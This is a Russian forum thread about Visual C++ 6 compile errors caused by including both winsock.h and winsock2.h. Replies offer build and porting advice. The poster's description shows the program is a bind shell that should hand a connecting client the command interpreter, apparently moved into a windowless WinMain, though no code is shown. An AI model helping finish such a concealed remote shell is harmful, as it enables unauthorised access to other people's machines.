c:\program files\microsoft visual studio\vc98\include\winsock2.h(143) :
error C2011: 'timeval' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(199) :
error C2011: 'hostent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(212) :
error C2011: 'netent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(219) :
error C2011: 'servent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(226) :
error C2011: 'protoent' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(310) :
error C2011: 'in_addr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(368) :
error C2011: 'sockaddr_in' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(378) :
error C2011: 'WSAData' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(430) :
warning C4005: 'SO_DONTLINGER' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(391) : see previous definition of
'SO_DONTLINGER'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(483) :
warning C4005: 'AF_IPX' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(449) : see previous definition of
'AF_IPX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(506) :
warning C4005: 'AF_MAX' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(468) : see previous definition of
'AF_MAX'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(512) :
error C2011: 'sockaddr' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(521) :
error C2011: 'sockproto' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(560) :
error C2011: 'linger' : 'struct' type redefinition
c:\program files\microsoft visual studio\vc98\include\winsock2.h(573) :
warning C4005: 'SOMAXCONN' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(533) : see previous definition of
'SOMAXCONN'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(598) :
warning C4005: 'FD_READ' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(551) : see previous definition of
'FD_READ'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(601) :
warning C4005: 'FD_WRITE' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(552) : see previous definition of
'FD_WRITE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(604) :
warning C4005: 'FD_OOB' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(553) : see previous definition of
'FD_OOB'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(607) :
warning C4005: 'FD_ACCEPT' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(554) : see previous definition of
'FD_ACCEPT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(610) :
warning C4005: 'FD_CONNECT' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(555) : see previous definition of
'FD_CONNECT'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(613) :
warning C4005: 'FD_CLOSE' : macro redefinition
c:\program files\microsoft visual
studio\vc98\include\winsock.h(556) : see previous definition of
'FD_CLOSE'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1427)
: error C2375: 'accept' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(707) : see declaration of 'accept'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1448)
: error C2375: 'bind' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(710) : see declaration of 'bind'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1467)
: error C2375: 'closesocket' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(712) : see declaration of 'closesocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1486)
: error C2375: 'connect' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(714) : see declaration of 'connect'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1507)
: error C2375: 'ioctlsocket' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(716) : see declaration of 'ioctlsocket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1528)
: error C2375: 'getpeername' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(718) : see declaration of 'getpeername'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1549)
: error C2375: 'getsockname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(721) : see declaration of 'getsockname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1572)
: error C2375: 'getsockopt' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(724) : see declaration of 'getsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1593)
: error C2375: 'htonl' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(727) : see declaration of 'htonl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1610)
: error C2375: 'htons' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(729) : see declaration of 'htons'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1627)
: error C2375: 'inet_addr' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(731) : see declaration of 'inet_addr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1644)
: error C2375: 'inet_ntoa' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(733) : see declaration of 'inet_ntoa'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1662)
: error C2375: 'listen' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(735) : see declaration of 'listen'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1680)
: error C2375: 'ntohl' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(737) : see declaration of 'ntohl'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1697)
: error C2375: 'ntohs' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(739) : see declaration of 'ntohs'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1717)
: error C2375: 'recv' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(741) : see declaration of 'recv'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1742)
: error C2375: 'recvfrom' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(743) : see declaration of 'recvfrom'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1768)
: error C2375: 'select' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(746) : see declaration of 'select'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1792)
: error C2375: 'send' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(749) : see declaration of 'send'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1817)
: error C2375: 'sendto' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(751) : see declaration of 'sendto'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1843)
: error C2375: 'setsockopt' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(754) : see declaration of 'setsockopt'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1865)
: error C2375: 'shutdown' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(757) : see declaration of 'shutdown'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1885)
: error C2375: 'socket' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(759) : see declaration of 'socket'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1908)
: error C2375: 'gethostbyaddr' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(763) : see declaration of 'gethostbyaddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1927)
: error C2375: 'gethostbyname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(766) : see declaration of 'gethostbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1945)
: error C2375: 'gethostname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(768) : see declaration of 'gethostname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1964)
: error C2375: 'getservbyport' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(770) : see declaration of 'getservbyport'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(1983)
: error C2375: 'getservbyname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(772) : see declaration of 'getservbyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2001)
: error C2375: 'getprotobynumber' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(775) : see declaration of
'getprotobynumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2018)
: error C2375: 'getprotobyname' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(777) : see declaration of
'getprotobyname'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2038)
: error C2375: 'WSAStartup' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(781) : see declaration of 'WSAStartup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2056)
: error C2375: 'WSACleanup' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(783) : see declaration of 'WSACleanup'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2073)
: error C2375: 'WSASetLastError' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(785) : see declaration of
'WSASetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2090)
: error C2375: 'WSAGetLastError' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(787) : see declaration of
'WSAGetLastError'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2107)
: error C2375: 'WSAIsBlocking' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(789) : see declaration of 'WSAIsBlocking'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2124)
: error C2375: 'WSAUnhookBlockingHook' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(791) : see declaration of
'WSAUnhookBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2141)
: error C2375: 'WSASetBlockingHook' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(793) : see declaration of
'WSASetBlockingHook'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2158)
: error C2375: 'WSACancelBlockingCall' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(795) : see declaration of
'WSACancelBlockingCall'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2180)
: error C2375: 'WSAAsyncGetServByName' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(797) : see declaration of
'WSAAsyncGetServByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2207)
: error C2375: 'WSAAsyncGetServByPort' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(802) : see declaration of
'WSAAsyncGetServByPort'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2233)
: error C2375: 'WSAAsyncGetProtoByName' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(806) : see declaration of
'WSAAsyncGetProtoByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2258)
: error C2375: 'WSAAsyncGetProtoByNumber' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(810) : see declaration of
'WSAAsyncGetProtoByNumber'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2283)
: error C2375: 'WSAAsyncGetHostByName' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(814) : see declaration of
'WSAAsyncGetHostByName'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2310)
: error C2375: 'WSAAsyncGetHostByAddr' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(818) : see declaration of
'WSAAsyncGetHostByAddr'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2333)
: error C2375: 'WSACancelAsyncRequest' : redefinition; different
linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(822) : see declaration of
'WSACancelAsyncRequest'
c:\program files\microsoft visual studio\vc98\include\winsock2.h(2353)
: error C2375: 'WSAAsyncSelect' : redefinition; different linkage
c:\program files\microsoft visual
studio\vc98\include\winsock.h(824) : see declaration of
'WSAAsyncSelect'
d:\distr\mobile\work\source\chap02\bind\hellowin.c(140) : fatal error
C1004: unexpected end of file found
Error executing cl.exe.
HELLOWIN.OBJ - 59 error(s), 11 warning(s)
а либы все подключены ?
В SAD - все в SAD.
Блин. Неужели такую простыню кто-то читать может? Топикстартер - локализуй ошибки и отредактируй исходное сообщение.
Даже самый дурацкий замысел можно воплотить мастерски
Либы все подключены!
У тебя написано - переопределение разоичная линковка,
начит ты что-то с ашниками напортачил или либами
Ws2_32.lib подключена ?
начит ты что-то с ашниками напортачил или либами
Ws2_32.lib подключена ?
В SAD - все в SAD.
Да, Ws2_32.lib подключена!
Coder.ua,
1) Пользуйся тегами
1) Пользуйся тегами
Код: Выделить всё
[/i] для оформления кода.
2) Судя по сообщению "C1004: unexpected end of file found", у тебя проблема с синтаксисом - например, скобку где-то потерял и т.п.
3) Для твоих целей в Win-приложении не нужно создавать никаких окон и циклов сообщений - просто перенеси содержимое main() из консольной версии в тело WinMain().
Удачи
пробовал! Тогда программа не работает как следует! Запускается! Когда к ней конектишся, то она выдает приветствие, но не передает управление командному интрерпретатору.
У тебя есть MSDN 2005? Там по адресу
ms-help://MS.MSDNQTR.v80.en/MS.MSDN.v80/MS.WIN32COM.v10.en/winsock/winsock/finished_server_and_client_code.htm
лежат готовые примеры клиента и сервера (консольные) с использованием WinSock2.
Вообще там много информации и готовых решений. Может и по твоему вопросу что-нибудь найдется.
И ещё: Ты используешь WinSock2 под Win98. В win98, помоему, только WinSock1 поддерживается.
ms-help://MS.MSDNQTR.v80.en/MS.MSDN.v80/MS.WIN32COM.v10.en/winsock/winsock/finished_server_and_client_code.htm
лежат готовые примеры клиента и сервера (консольные) с использованием WinSock2.
Вообще там много информации и готовых решений. Может и по твоему вопросу что-нибудь найдется.
И ещё: Ты используешь WinSock2 под Win98. В win98, помоему, только WinSock1 поддерживается.
http://www.codeproject.com/internet/NetworkAdmin.asp - исходники программы Network Administrator на C++